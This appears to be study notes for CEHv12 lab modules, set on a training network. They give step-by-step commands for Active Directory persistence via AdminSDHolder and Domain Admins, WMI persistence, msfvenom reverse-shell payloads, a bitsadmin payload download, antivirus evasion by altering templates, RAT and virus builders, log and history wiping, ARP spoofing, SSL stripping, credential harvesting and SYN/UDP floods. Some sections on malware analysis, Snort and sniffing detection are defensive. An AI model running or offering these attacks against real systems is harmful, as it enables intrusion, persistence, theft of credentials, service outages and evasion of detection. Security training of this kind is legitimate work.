share the Exploit.exe file with the target machine and provide the permissions

setup listener using msfconsole

In the meterpreter shell type upload -r /home/attacker/PowerTools-master C:\\Users\\Administrator\\Downloads

Type cd C:\Windows\System32

Type powershell

As we have access to PowerShell access with admin privileges, we can add a standard user Martin in the CEH domain to the AdminSDHolder directory and from there to the Domain Admins group, to maintain persistence in the domain.

type cd C:\Users\Administrator\Downloads\PowerView

Type, Import-Module ./powerview.psm1

type Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName Martin -Verbose -Rights All (add martin user to AdminSDHolder)

Get-ObjectAcl -SamAccountName "Martin" -ResolveGUIDs (check the permissions assigned to Martin)

REG ADD HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /V AdminSDProtectFrequency /T REG_DWORD /F /D 300 (changes in ACL will propagate automatically after 60 minutes, we can enter the following command to reduce the time interval of SDProp to 3 minutes.)

net group "Domain Admins" Martin /add /domain (add Martin to Domain Admins group as he is already having all the permissions.)

click on Other user, in the User name field type CEH\Martin and in the Password field apple and press Enter.

sign-in with user Martin account. Open a powershell window and type dir \\10.10.1.22\C$

Privilege Escalation and Maintain Persistence - WMI

WMI (Windows Management Instrumentation)

In this task we will create two payloads, one to gain access to the system and another for WMI event subscription.

Type the command msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.1.13 lport=444 -f exe > /home/attacker/Desktop/Payload.exe

type the command msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.1.13 lport=444 -f exe > /home/attacker/Desktop/wmi.exe

type upload /home/attacker/Wmi-Persistence-master C:\\Users\\Administrator\\Downloads

type load powershell

Type powershell_shell

In powershell, type Import-Module ./WMI-Persistence.ps1

type Install-Persistence -Trigger Startup -Payload "C:\Users\Administrator\Downloads\wmi.exe"

restart target macine after setting listener in attacker machine

Covert Channels using Covert_TCP

Attacker Machine

Type mkdir Send

Type cd Send

type echo “Secret Message” > message.txt

Navigate to CEHv12 Module 06 System Hacking\Covering Tracks Tools\Covert_TCP and copy the covert_tcp.c file to send folder

type cc -o covert_tcp covert_tcp.c (compiles the covert_tcp.c file)

Target Machine

Type tcpdump -nvvx port 8888 -i lo (start a tcpdump.)

new Terminal - mkdir Receive -> cd Receive

Navigate to CEHv12 Module 06 System Hacking\Covering Tracks Tools\Covert_TCP and copy the covert_tcp.c file to receive folder

type cc –o covert_tcp covert_tcp.c (compiles the covert_tcp.c file)

To start a listener, type ./covert_tcp -dest 10.10.1.9 -source 10.10.1.13 -source_port 9999 -dest_port 8888 -server -file /home/ubuntu/Desktop/Receive/receive.txt

Attacker Machine

Launch Wireshark

Type ./covert_tcp -dest 10.10.1.9 -source 10.10.1.13 -source_port 8888 -dest_port 9999 -file /home/attacker/Desktop/Send/message.txt (covert_tcp starts sending the string one character at a time)

check tcp packets in wireshark -> IPV4 – Identification ID

Observe that tcpdump shows that no packets were captured in the network

Clear Logs

View, Enable, and Clear Audit Policies

Auditpol.exe

CEHv12 Windows 11

Type auditpol /get /category:* (view all the audit policies)

Type auditpol /set /category:"system","account logon" /success:enable /failure:enable (enable the audit policies.)

Type auditpol /clear /y (clear the audit policies)

Windows utilities that can be used to clear system logs such as Clear_Event_Viewer_Logs.bat, wevtutil, and Cipher

Clear_Event_Viewer_Logs.bat is a utility that can be used to wipe out the logs of the target system. This utility can be run through command prompt or PowerShell, and it uses a BAT file to delete security, system, and application logs on the target system.

navigate to E:\CEH-Tools\CEHv12 Module 06 System Hacking\Covering Tracks Tools\ Clear_Event_Viewer_Logs.bat.(Run as administrator)

wevtutil is a command-line utility used to retrieve information about event logs and publishers. You can also use this command to install and uninstall event manifests, run queries, and

export, archive, and clear logs

Type wevtutil el (display a list of event logs) (el | enum-logs lists event log names)

type wevtutil cl [log_name] (here, we are clearing system logs)

cl | clear-log: clears a log, log_name is the name of the log to clear

Cipher.exe utility starts overwriting the deleted files, first, with all zeroes (0x00); second, with all 255s (0xFF); and finally, with random numbers

Cipher.exe is an in-built Windows command-line tool that can be used to securely delete a chunk of data by overwriting it to prevent its possible recovery. This command also assists in encrypting and decrypting data in NTFS partitions.

type cipher /w:[Drive or Folder or File Location] (overwrite deleted files in a specific drive, folder, or file)

Clear Linux Machine Logs - BASH Shell

Type export HISTSIZE=0 (disable history, HISTSIZE: determines the number of commands to be saved, which will be set to 0)

type history -c (clear the stored history)

history -w command to delete the history of the current shell, leaving the command history of other shells unaffected.

Type shred ~/.bash_history (shred the history file, making its content unreadable)

type more ~/.bash_history (view the shredded history content)

Type shred ~/.bash_history && cat /dev/null > .bash_history && history -c && exit (combination of all above commands)

Hiding Artifacts

Artifacts

Windows machne

type cd C:\Users\Admin\Desktop

Type mkdir Test

Type attrib +h +s +r Test (hide the Test folder)

type attrib -s -h -r Test (unhide)

type net user Test /add (add test as user)

type net user Test /active:yes (activate user)

type net user Test /active:no (hide user)

Linux machine

Type mkdir Test -> cd test

type “>> Sample.txt”

type touch .Secret.txt

diff between ls and ls -al

Clear Windows Machine Logs using Ccleaner

CCleaner

navigate to E:\CEH-Tools\CEHv12 Module 06 System Hacking\Covering Tracks Tools\

CCleaner; double-click ccsetup591_pro_trial.exe.

other track-covering tools such as DBAN (https://dban.org), Privacy Eraser (https://www.cybertronsoft.com), Wipe (https://privacyroot.com), and BleachBit (https://www.bleachbit.org)

Malware Threats

njRAT RAT Trojan

njRAT

Navigate to E:\CEH-Tools\CEHv12 Module 07 Malware Threats\Trojans Types\Remote Access Trojans (RAT)\njRAT and double-click njRAT v0.7d.exe.

click the Builder link located in the lower-left corner of the GUI to configure the exploit details.

Builder dialog-box appears; enter the IP address of the attacker machine, check the option Registy StarUp, leave the other settings to default, and click Build.

Share test.exe to target and execute

Right-click on the detected victim name and click Manager

Click on Process Manager (perform actions such as Kill, Delete, and Restart)

Click on Connections, select a specific connection, right-click on it, and click Kill Connection

Click on Registry, choose a registry directory from the left pane, and right-click on its associated registry files.

Click Remote Shell. This launches a remote command prompt for the victim machine

click Services. You will be able to view, start, stop & pause all services running on the victim machine.

Hide a Trojan using SwayzCryptor

Crypter

Go to E:\CEH-Tools\CEHv12 Module 07 Malware Threats\Crypters\SwayzCryptor and double-click SwayzCryptor.exe.

Once the file is selected, check the options Start up, Mutex, and Disable UAC, and then click Encrypt.

Share to target and observe the connection njRAT

Theef RAT Trojan

Theef via port 9871.

Navigate to Z:\CEHv12 Module 07 Malware Threats\Trojans Types\Remote Access Trojans (RAT)\Theef and double-click Server210.exe to run the Trojan on the victim machine.

Navigate to E:\CEH-Tools\CEHv12 Module 07 Malware Threats\Trojans Types\Remote Access Trojans (RAT)\Theef and double-click Client210.exe to access the victim machine remotely.

Infect the Target System using a Virus

JPS Virus Maker

navigate to E:\CEH-Tools\CEHv12 Module 07 Malware Threats\Virus Maker\JPS Virus Maker and double-click jps.exe.

Select appropriate options and create virus or worm

Execute the virus in target machine

Static Malware Analysis

Hybrid Analysis

Hybrid Analysis

type https://www.hybrid-analysis.com

Valkyrie (https://valkyrie.comodo.com), Cuckoo Sandbox (https://cuckoosandbox.org), Jotti (https://virusscan.jotti.org) or IObit Cloud (https://cloud.iobit.com)

Strings Search using BinText

BinText

navigate to E:\CEH-Tools\CEHv12 Module 07 Malware Threats\Malware Analysis Tools\Static Malware Analysis Tools\String Searching Tools\BinText and double-click bintext.exe.

string searching tools such as FLOSS (https://www.fireeye.com), Strings (https://docs.microsoft.com), Free EXE DLL Resource Extract (https://www.resourceextract.com), or FileSeek (https://www.fileseek.ca)

Identify Packaging and Obfuscation Methods

PEid

navigate to E:\CEH-Tools\CEHv12 Module 07 Malware Threats\Malware Analysis Tools\Static Malware Analysis Tools\Packaging and Obfuscation Tools\PEid and double-click PeiD.exe.

Analyze ELF Executable File

Detect It Easy (DIE)

navigate to E:\CEH-Tools\CEHv12 Module 07 Malware Threats\Malware Analysis Tools\Static Malware Analysis Tools\Packaging and Obfuscation Tools\DIE and double-click die.exe.

other packaging/obfuscation tools such as Macro_Pack (https://github.com), UPX (https://upx.github.io), or ASPack (http://www.aspack.com)

Find the Portable Executable (PE) Information

PE Explorer

navigate to E:\CEH-Tools\CEHv12 Module 07 Malware Threats\Malware Analysis Tools\Static Malware Analysis Tools\PE Extraction Tools\PE Explorer and double-click PE.Explorer_setup.exe

other PE extraction tools such as Portable Executable Scanner (pescan) (https://tzworks.net), Resource Hacker (http://www.angusj.com), or PEView (https://www.aldeid.com)

Identify File Dependencies

Dependency Walker tool lists all dependent modules of an executable file and builds hierarchical tree diagrams.

navigate to E:\CEH-Tools\CEHv12 Module 07 Malware Threats\Malware Analysis Tools\Static Malware Analysis Tools\File Dependency Checking Tools\Dependency Walker, and double-click depends.exe.

other dependency checking tools such as Dependency-check (https://jeremylong.github.io), Snyk (https://snyk.io), or RetireJS (https://retirejs.github.io)

DLLs	Description of contents
Kernel32.dll	Core functionality such as access and manipulation of memory, files, and hardware
Advapi32.dll	Provides access to advanced core Windows components such as the Service Manager and Registry
User32.dll	User-interface components such as buttons, scrollbars, and components for controlling and responding to user actions
Gdi32.dll	Functions for displaying and manipulating graphics
Ntdll.dll	Interface to the Windows kernel
WSock32.dll and Ws2_32.dll	Networking DLLs that help to connect to a network or perform network-related tasks
Wininet.dll	Supports higher-level networking functions

Malware Disassembly

Navigate to E:\CEH-Tools\CEHv12 Module 07 Malware Threats\Malware Analysis Tools\Static Malware Analysis Tools\Disassembling and Debugging Tools\IDA

Navigate to E:\CEH-Tools\CEHv12 Module 07 Malware Threats\Malware Analysis Tools\Static Malware Analysis Tools\Disassembling and Debugging Tools\OllyDbg and double-click OLLYDBG.EXE.

navigate to E:\CEH-Tools\CEHv12 Module 07 Malware Threats\Malware Analysis Tools\Static Malware Analysis Tools\Disassembling and Debugging Tools\Ghidra and double-click ghidraRun.bat

create a random Project -> Import Malicious File – double click on child node created under

the project

other disassembling and debugging tools such as Radare2 (https://rada.re), WinDbg (http://www.windbg.org), and ProcDump (https://docs.microsoft.com)

Dynamic Malware Analysis

Port Monitoring

Navigate to Z:\CEHv12 Module 07 Malware Threats\Malware Analysis Tools\Dynamic Malware Analysis Tools\Port Monitoring Tools

other port monitoring tools such as Port Monitor (https://www.port-monitor.com), TCP Port Monitoring (https://www.dotcom-monitor.com), or PortExpert (https://www.kcsoftwares.com)

Process Monitoring

navigate to Z:\CEHv12 Module 07 Malware Threats\Malware Analysis Tools\Dynamic Malware Analysis Tools\Process Monitoring Tools\ProcessMonitor

other process monitoring tools such as Process Explorer (https://docs.microsoft.com), OpManager (https://www.manageengine.com), Monit (https://mmonit.com), or ESET SysInspector (https://www.eset.com)

Registry Monitoring

Navigate to E:\CEH-Tools\CEHv12 Module 07 Malware Threats\Malware Analysis Tools\ Dynamic Malware Analysis Tools\Registry Monitoring Tools\Reg Organizer

other registry monitoring tools such as regshot (https://sourceforge.net), Registry Viewer (https://accessdata.com), RegScanner (https://www.nirsoft.net), or Registrar Registry Manager (https://www.resplendence.com)

Windows Services Monitoring

navigate to E:\CEH-Tools\CEHv12 Module 07 Malware Threats\Malware Analysis Tools\ Dynamic Malware Analysis Tools\Windows Services Monitoring Tools\Windows Service Manager (SrvMan)\x64

other Windows service monitoring tools such as Advanced Windows Service Manager (https://securityxploded.com), Process Hacker (https://processhacker.sourceforge.io), Netwrix Service Monitor (https://www.netwrix.com), or AnVir Task Manager (https://www.anvir.com)

Startup Program Monitoring

navigate to E:\CEH-Tools\CEHv12 Module 07 Malware Threats\Malware Analysis Tools\ Dynamic Malware Analysis Tools\Windows Startup Programs Monitoring Tools\Autoruns for Windows

navigate to E:\CEH-Tools\CEHv12 Module 07 Malware Threats\Malware Analysis Tools\Dynamic Malware Analysis Tools\Windows Startup Programs Monitoring Tools\WinPatrol

other Windows startup programs monitoring tools such as Autorun Organizer (https://www.chemtable.com), Quick Startup (https://www.glarysoft.com), or Chameleon Startup Manager (https://www.chameleon-managers.com)

Installation Monitoring

Advanced uninstaller pro

other installation monitoring tools such as SysAnalyzer (https://www.aldeid.com), REVO UNINSTALLER PRO (https://www.revouninstaller.com), or Comodo Programs Manager (https://www.comodo.com)

Files and Folder Monitoring

navigate to E:\CEH-Tools\CEHv12 Module 07 Malware Threats\Malware Analysis Tools\Dynamic Malware Analysis Tools\Files and Folder Monitoring Tools\PA File Sight

other file and folder integrity checking tools such as Tripwire File Integrity and Change Manager (https://www.tripwire.com), Netwrix Auditor (https://www.netwrix.com), Verisys (https://www.ionx.co.uk), or CSP File Integrity Checker (https://www.cspsecurity.com)

Device Driver Monitoring

DriverView

Driver Reviver

other device driver monitoring tools such as Driver Booster (https://www.iobit.com), Driver Easy (https://www.drivereasy.com), Driver Fusion (https://treexy.com), or Driver Genius 22 (https://www.driver-soft.com)

DNS Monitoring

DNSQuerySniffer

Navigate to Z:\CEHv12 Module 07 Malware Threats\Malware Analysis Tools\Dynamic Malware Analysis Tools\DNS Monitoring Tools\DNSQuerySniffer

In real-time, attackers will use malicious applications like DNSChanger to change the DNS of the target machine.

other DNS monitoring/resolution tools such as DNSstuff (https://www.dnsstuff.com), or Sonar Lite (https://constellix.com)

Active Sniffing

MAC Flooding

Launch Wireshark in background

type macof -i eth0 -n 10 (-i: specifies the interface and -n: specifies the number of packets to be sent)

target a single system by issuing the command macof -i eth0 -d [Target IP Address]

DHCP Starvation Attack

Type yersinia -I (-I: Starts an interactive ncurses session)

then press h for help.

Press F2 to select DHCP mode. In DHCP mode, STP Fields in the lower section of the window change to DHCP Fields

Press x to list available attack options

The Attack Panel window appears; press 1 to start a DHCP starvation attack.

Yersinia starts sending DHCP packets to the network adapter and all active machines in the local network

press q to stop the attack and terminate Yersinia

ARP Poisoning

type arpspoof -i eth0 -t 10.10.1.1 10.10.1.11 (Here, 10.10.1.11 is IP address of the target system [Windows 11], and 10.10.1.1 is IP address of the access point or gateway)

Type arpspoof -i eth0 -t 10.10.1.11 10.10.1.1 (the host system informs the target system (10.10.1.11) that it is the access point (10.10.1.1))

Attackers use the arpspoof tool to obtain the ARP cache; then, the MAC address is replaced with that of an attacker’s system. Therefore, any traffic flowing from the victim to the gateway will be redirected to the attacker’s system.

Man-in-the-Middle (MITM) Attack

Launch Cain & Abel

Click Configure from the menu bar to configure an ethernet card

By default, the Sniffer tab is selected. Ensure that the Adapter associated with the IP address of the machine is selected

Click the Start/Stop Sniffer

Click the plus (+) icon or right-click in the window and select Scan MAC Addresses to scan the network for hosts.

After completing the scan, click the APR tab -> click + icon select the Ip in left panel and right panel to be the mediator.

Click start APR

Spoof a MAC Address

Launch TMAC or Technitium MAC Address Changer
Choose appropriate options
Launch SMAC -> Choose appropriate options

Spoof a MAC Address of Linux Machine

Before changing the MAC address we need to turn off the network interface.
Type ifconfig eth0 down
Type macchanger –help
type macchanger -s eth0 (to see current mac address)
type macchanger -a eth0 (to set a random vendor)
type macchanger -r eth0
type ifconfig eth0 up

Password Sniffing

Launch Wireshark
Start capturing while victim visit websites etc.
Save the capured packets.
Services window appears. Choose Remote Packet Capture Protocol v.0 (experimental), right-click the service, and click Start (in Victim machine)
Capture Options window appears; click the Manage Interfaces… button.
click the Remote Interfaces tab, and then the Add a remote host and its interface icon (+).
Remote Interface window appears. In the Host text field, enter the IP address of the target machine (here, 10.10.1.11); and in the Port field, enter the port number as 2002
In real-time, when attackers gain the credentials of a victim’s machine, they attempt to capture its remote interface and monitor the traffic its user browses to reveal confidential user information.

Analyze a Network

OmniPeek Network Analyzer
https://www.liveaction.com/products/omnipeek-network-protocol-analyzer/ (Start My Omnipeek Trial)

SteelCentral Packet Analyzer
https://www.riverbed.com/trial-downloads (TRIAL DOWNLOADS)

Detect Network Sniffing

Detect ARP Poisoning and Promiscuous Mode in a Switch-Based Network

Perform ARP poisoning as explained earlier
type hping3 [Target IP Address] -c 100000 (from the target machine)
Launch Wireshark -> click Edit & select Preferences -> Protocols -> select the ARP/RARP
click the Detect ARP request storms checkbox and the Detect duplicate IP address configuration checkbox.
Start packet capturing -> Analyze -> Expert Information
Detection Phase
type the command nmap --script=sniffer-detect [Target IP Address/ IP Address Range]

Capsa
Habu
https://www.colasoft.com/download/arp_flood_arp_spoofingarppoisoning_attack_solution_with_capsa.php
Download Capsa Enterprise Trial in Target machine
check the checkbox beside the available adapter (here, Ethernet) and click on Start.
Navigate to the Diagnosis tab
type habu.arp.poison 10.10.1.11 10.10.1.13 (Attacker machine)
Navigate back to target machine and explore

Social Engineering

Sniff Credentials

Parrot Machine
Type setoolkit
The SET menu appears- > Type 1 (choose Social-Engineering Attacks)
type 2 (choose Website Attack Vectors)
type 3 (choose Credential Harvester Attack Method)
Type 2 (choose Site Cloner)

Detect Phishing

https://www.netcraft.com/apps/
click Find out more button under BROWSER option on the webpage.
click Download button -> will see options for each browser type -> extensions

PhishTank
https://www.phishtank.com

Audit Organization's Security

OhPhish

https://portal.ohphish.com/login

Denial-of-Service

DoS Attack (SYN Flooding)

type nmap -p 21 (Target IP address)

In this task, we will use an auxiliary module of Metasploit called synflood to perform a DoS attack on the target machine.

Type msfconsole -> type use auxiliary/dos/tcp/synflood -> show options

set RHOST (Target IP Address) (here, 10.10.1.11)

set RPORT 21

set SHOST (Spoofable IP Address) (here, 10.10.1.19)

type exploit

Launch wireshark in the victim machine to observe the packets received

DoS Attack

Syn Flood Attack

type hping3 -S (Target IP Address) -a (Spoofable IP Address) -p 22 –flood (Note: -S: sets the SYN flag; -a: spoofs the IP address; -p: specifies the destination port; and --flood: sends a huge number of packets.)

Ping of Death

type hping3 -d 65538 -S -p 21 --flood (Target IP Address) (-d: specifies data size; -S: sets the SYN flag; -p: specifies the destination port; and --flood: sends a huge number of packets.)

UDP application layer flood attack

type nmap -p 139 (Target IP Address) (attacking netBIOS service)

type hping3 -2 -p 139 --flood (Target IP Address) (-2: specifies the UDP mode; -p: specifies the destination port; and --flood: sends a huge number of packets.)

Note: Some of the UDP based application layer protocols that attackers can employ to flood target networks include:

CharGEN (Port 19)

SNMPv2 (Port 161)

QOTD (Port 17)

RPC (Port 135)

SSDP (Port 1900)

CLDAP (Port 389)

TFTP (Port 69)

NetBIOS (Port 137,138,139)

NTP (Port 123)

Quake Network Protocol (Port 26000)

VoIP (Port 5060)

DoS Attack

Raven-Storm

Type sudo rst

Type l4 (load layer4 module (UDP/TCP))

type “ip 10.10.1.19”

Type “port 80”

Type “threads 20000”

type run

DDoS Attack

HOIC

Navigate to E:\CEH-Tools\CEHv12 Module 10 Denial-of-Service\DoS and DDoS Attack Tools and copy the High Orbit Ion Cannon (HOIC)

Note:In real-time, a group of hackers operating hundreds or thousands of machines configure this tool on their machines, communicate with each other through IRCs, and simulate the DDoS attack by flooding a target machine or website at the same time. The target is overwhelmed and stops responding to user requests or starts dropping packets coming from legitimate users. The larger the number of attacker machines, the higher the impact of the attack on the target machine or website.

DDoS Attack

LOIC

navigate to E:\CEH-Tools\CEHv12 Module 10 Denial-of-Service\DoS and DDoS Attack Tools\Low Orbit Ion Cannon (LOIC)

Detect and Protect Against DDoS Attacks

Anti DDoS Guardian

navigate to E:\CEH-Tools\CEHv12 Module 10 Denial-of-Service\DoS and DDoS Protection Tools\Anti DDoS Guardian

other DoS and DDoS protection tools such as, DOSarrest’s DDoS protection service (https://www.dosarrest.com), DDoS-GUARD (https://ddos-guard.net), and Cloudflare (https://www.cloudflare.com)

Session Hijacking

Intercept HTTP Traffic using bettercap

type bettercap -h

type bettercap -iface eth0 (Note: -iface: specifies the interface to bind to (in this example, eth0).)

Type help

Type net.probe on (send different types of probe packets to each IP in the current subnet)

Type net.recon on (responsible for periodically reading the system ARP table to detect new hosts on the network.)

Type set http.proxy.sslstrip true (module enables SSL stripping.)

Type set arp.spoof.internal true (module spoofs the local connections among computers of the internal network)

Type set arp.spoof.targets 10.10.1.11 (spoofs the IP address of the target host)

Type http.proxy on (initiates http proxy)

Type arp.spoof on (initiates ARP spoofing)

Type net.sniff on (perform sniffing on the network)

Type set net.sniff.regexp '.password=.+' (consider the packets sent with a payload matching the given regular expression)

Intercept HTTP Traffic

Hetty

Navigate to E:\CEH-Tools\CEHv12 Module 11 Session Hijacking\Hetty

type http://localhost:8080 in browser after launching hetty

Configure proxy settings in Victim machine

Detect Session Hijacking

Launch wireshark in victim machine

Launch bettercap sniffing in Attacker machine

bettercap -iface eth0

net.probe on -> net.recon on -> net.sniff on

Evading IDS, Firewalls, and Honeypots

Detect Intrusions

Snort

Navigate to Z:\CEHv12 Module 12 Evading IDS, Firewalls, and Honeypots\Intrusion Detection Tools\Snort

Navigate to the etc (Z:\CEHv12 Module 12 Evading IDS, Firewalls, and Honeypots\ Intrusion Detection Tools\Snort\snortrules-snapshot-29150\etc of the Snort rules; copy snort.conf to

C:\Snort\etc.

Copy the so_rules, rules, preproc_rules folder from Z:\CEHv12 Module 12 Evading IDS, Firewalls, and Honeypots\Intrusion Detection Tools\Snort\snortrules-snapshot-29150 and paste into C:\Snort.

type cd C:\Snort\bin (in cmd prompt)

Type snort.exe

Snort initializes; wait for it to complete. After completion press Ctrl+C, Snort exits and comes back to C:\Snort\bin

type snort -W (lists your machine's physical address, IP address, and Ethernet Drivers, but all are disabled by default)

type snort -dev -i 1 (enable the ethernet driver using index number obtaimed from prev step)

type ping google.com (in new cmd prompt)

In the HOME_NET line (Line 45), replace any with the IP addresses of the machine (target machine) on which Snort is running

make changes in the DNS_SERVERS line by replacing $HOME_NET with your DNS Server IP address (otherwise 8.8.8.8)

Modify the path location of rule, so_rules, preproc_rules

Navigate to C:\Snort\rules, and create two text files; name them white_list and black_list and change their file extensions from .txt to .rules

Add the path to dynamic preprocessor libraries (Line 243); replace /usr/local/lib/snort_dynamicpreprocessor/ with your dynamic preprocessor libraries folder location. (C:\Snort\lib\snort_dynamicpreprocessor)

At the path to base preprocessor (or dynamic) engine (Line 246), replace /usr/local/lib/snort_dynamicengine/libsf_engine.so with your base preprocessor engine C:\Snort\lib\snort_dynamicengine\sf_engine.dll

Ensure that the dynamic rules libraries (Line 250) is commented out, as you have already configured the libraries in dynamic preprocessor libraries.

Comment out all the preprocessors listed in this section by adding '#' and (space) before each preprocessor rule (262-266).

Scroll down to line 326 and delete lzma keyword and a (space)

. Provide this location of files in the configure output plugins (in Lines 532 and 533) (i.e., C:\Snort\etc\classification.config and C:\Snort\etc\reference.config).

In Step #6, add to line (534) output alert_fast: alerts.ids: this command orders Snort to dump all logs into the alerts.ids file

In the snort.conf file, find and replace the ipvar string with var

In line 21, type alert icmp $EXTERNAL_NET any -> $HOME_NET 10.10.1.19 (msg:"ICMP-INFO PING"; icode:0; itype:8; reference:arachnids,135; reference:cve,1999-0265; classtype:bad-unknown; sid:472; rev:7;)

Type snort -iX -A console -c C:\Snort\etc\snort.conf -l C:\Snort\log -K ascii (replace X with your device index number; in this task: X is 1) (new cmd prompt)

Use another machine and try pinging the device where snort is running

Detect Malicious Network Traffic

ZoneAlarm

HoneyBOT

Navigate to Z:\CEHv12 Module 12 Evading IDS, Firewalls, and Honeypots\Honeypot Tools\HoneyBOT

Bypass Windows Firewall

Turn On firewall in victim machine

Create new inbound rule (Rule Type section, choose the Custom, Scope section, choose the These IP addresses radio button under Which remote IP addresses does this rule apply to?, Action section, choose the Block the connection)

Attacker Machine

Type nmap 10.10.1.11

Type nmap -sS 10.10.1.11

Type nmap -T4 -A 10.10.1.11

Type nmap -sP 10.10.1.0/24

Type nmap -sI 10.10.1.22 10.10.1.11 (Zombie scan)

Bypass Firewall Rules using HTTP/FTP Tunneling

HTTPort

Proxy server setup (whitelisted IP)

ensure that IIS Admin Service and World Wide Web Publishing services are not running

Navigate to Z:\CEHv12 Module 12 Evading IDS, Firewalls, and Honeypots\HTTP Tunneling Tools\HTTHost

On the Options tab, leave 80 as the port number in the Port field under the Network section. Personal password as “magic.”

Ensure that Revalidate DNS names and Log connections are checked

Navigate to the Application log tab and check if the last line is Listener: listening at 0.0.0.0:80

Host (blacklisted server)

Select Turn on Windows Defender Firewall under Private network settings and Public network settings.

Create outbound rule in advanced settings (select Port as Rule Type, Select All remote ports in Protocol and Ports, In Action, Block the connection)

Right-click the newly created rule (Port 21 Blocked) and click Properties

Select the Protocols and Ports tab. In the Remote port: field, select the Specific Ports option from the drop-down list and enter the port number as 21

Navigate to Z:\CEHv12 Module 12 Evading IDS, Firewalls, and Honeypots\HTTP Tunneling Tools\HTTPort

Proxy tab, enter the Host name or IP address (10.10.1.22) of the machine where HTTHost is running

Enter the Port number 80

In the Misc. options section, select Remote host from the Bypass mode drop-down list.

In the Use personal remote host at (blank = use public) section, re-enter the IP address of Windows Server 2022 (10.10.1.22) and port number 80

Enter the password magic into the Password field

Select the Port mapping tab, and click Add to create a new mapping

Right-click the New mapping node, and click Edit

Rename this as ftp test (you can enter the name of your choice).

Right-click the node below Local port; then click Edit and enter the port value as 21.

Right-click the node below Remote host; click Edit and rename it as 10.10.1.11.

Right-click the node below Remote port; then click Edit and enter the port value as 21

(Note: 10.10.1.11 specifies in Remote host node is the IP address of the Windows 11 machine that is hosting the FTP site)

Switch to the Proxy tab and click Start to begin the HTTP tunneling

Type ftp 10.10.1.11 (observe firewall blocking the connection)

Type ftp 127.0.0.1 (observe that firewall bypassed using HTTP tunneling)

Bypass Antivirus

type msfvenom -p windows/shell_reverse_tcp lhost=10.10.1.13 lport=444 -f exe > /home/attacker/Windows.exe

Virustotal shows detecting virus

type pluma /usr/share/metasploit-framework/data/templates/src/pe/exe/template.c

A template.c file appears, in the line 3 change the payload size from 4096 to 4000

type cd /usr/share/metasploit-framework/data/templates/src/pe/exe/

Type i686-w64-mingw32-gcc template.c -lws2_32 -o evasion.exe

msfvenom -p windows/shell_reverse_tcp lhost=10.10.1.13 lport=444 -x /usr/share/metasploit-framework/data/templates/src/pe/exe/evasion.exe -f exe > /home/attacker/bypass.exe

observe that now only 48 out of 71 antivirus vendors have detected the malicious file, thus we can evade antivirus detection by modifying Metasploit templates

Bypass Firewall

BITS (Background Intelligent Transfer Service)

Select Turn on Windows Defender Firewall under Private network settings and Public network settings.

Attacker machine

type msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.1.13 lport=444 -f exe > /home/attacker/Exploit.exe

Share the payload to victim machine

type bitsadmin /transfer Exploit.exe http://10.10.1.13/share/Exploit.exe c:\Exploit.exe (if payload shared through web server) (Powreshell cmd prompt)

If downloaded directly from browser Firwalll might delete or block the file from exceuting.

However, if done through BITSAdmin, file can be executed by the attacker

Hacking Web Servers

Information Gathering

Ghost Eye

Download ghost_eye package online

type pip3 install -r requirements.txt

type python3 ghost_eye.py

Choose appropriate options

Web Server Reconnaissance

Skipfish

Launch wampserver in test machine

Attacker Machine

type skipfish -o /home/attacker/test -S /usr/share/skipfish/dictionaries/complete.wl http://[IP Address of Windows Server 2022]:8080

On completion, open the index.html file in Test folder created in Desktop

httprecon

Navigate to E:\CEH-Tools\CEHv12 Module 13 Hacking Web Servers\Web Server Footprinting Tools\httprecon, right-click httprecon.exe

ID Serve is a simple Internet server identification utility. Following is a list of its capabilities:

- HTTP server identification
- Non-HTTP server identification
- Reverse DNS lookup

navigate to E:\CEH-Tools\CEHv12 Module 13 Hacking Web Servers\Web Server Footprinting Tools\ID Serve

type nc -vv www.moviescope.com 80

type GET / HTTP/1.0 (press enter twice)

type telnet www.moviescope.com 80

type GET / HTTP/1.0 (press enter twice)

Type nmap -sV --script=http-enum [target website]

type nmap --script hostmap-bfk -script-args hostmap-bfk.prefix=hostmap- www.goodshopping.com

type nmap --script http-trace -d www.goodshopping.com

type nmap -p80 --script http-waf-detect www.goodshopping.com

type uniscan -h

type uniscan -u http://10.10.1.22:8080/CEH -q (the -u switch is used to provide the target URL, and the -q switch is used to scan the directories in the web server.)

type uniscan -u http://10.10.1.22:8080/CEH -we (Here -w and -e are used together to enable the file check (robots.txt and sitemap.xml file))

Type uniscan -u http://10.10.1.22:8080/CEH -d (enable dynamic checks)

Web Server Attack

Crack FTP Credentials

type nmap -p 21 [IP Address of Windows 11]

type hydra -L /home/attacker/Desktop/Wordlists/Usernames.txt -P /home/attacker/Desktop/Wordlists/Passwords.txt ftp://[IP Address of Windows 11]

Hacking Web Applications

Web Application Reconnaissance

Use tools such as Netcraft (https://www.netcraft.com), SmartWhois (https://www.tamos.com), WHOIS Lookup (https://whois.domaintools.com), and Batch IP Converter (http://www.sabsoft.com) to perform the Whois lookup.

Use tools such as, DNSRecon (https://github.com), and DNS Records (https://network-tools.com), Domain Dossier (https://centralops.net) to perform DNS interrogation.

type nmap -T4 -A -v [Target Web Application] (perform port scanning)

type telnet www.moviescope.com 80 (perform banner grabbing)

type GET / HTTP/1.0 press enter twice

WhatWeb

In the Terminal window, type whatweb

type whatweb [Target Web Application]

type whatweb --log-verbose=MovieScope_Report www.moviescope.com (export results)

OWASP ZAP - Perform automated scan to spider the web app

Detect Load Balancers

type dig yahoo.com (multiple IP's means load balancer in use)

type lbd yahoo.com

Identify Web Server Directories

type nmap -sV --script=http-enum [target domain or IP address]

type gobuster dir -u [Target Website] -w /home/attacker/Desktop/common.txt

Type python3 dirsearch.py -u http://www.moviescope.com

Type python3 dirsearch.py -u http://www.moviescope.com -e aspx (extension filter)

type python3 dirsearch.py -u http://www.moviescope.com -x 403 (exlcude status 403 code)

Web Application Vulnerability Scanning

Vega

Download Vega tool

use other web application vulnerability scanning tools such as WPScan Vulnerability Database (https://wpscan.com), Arachni (https://www.arachni-scanner.com), appspider (https://www.rapid7.com), or Uniscan (https://sourceforge.net)

Identify Clickjacking Vulnerability

Type python3 clickJackPoc.py -f domain.txt

Perform Web Application Attacks

Identify XSS Vulnerabilities

PwnXSS

type python3 pwnxss.py -u http://testphp.vulnweb.com

Cross-site Request Forgery (CSRF) Attack

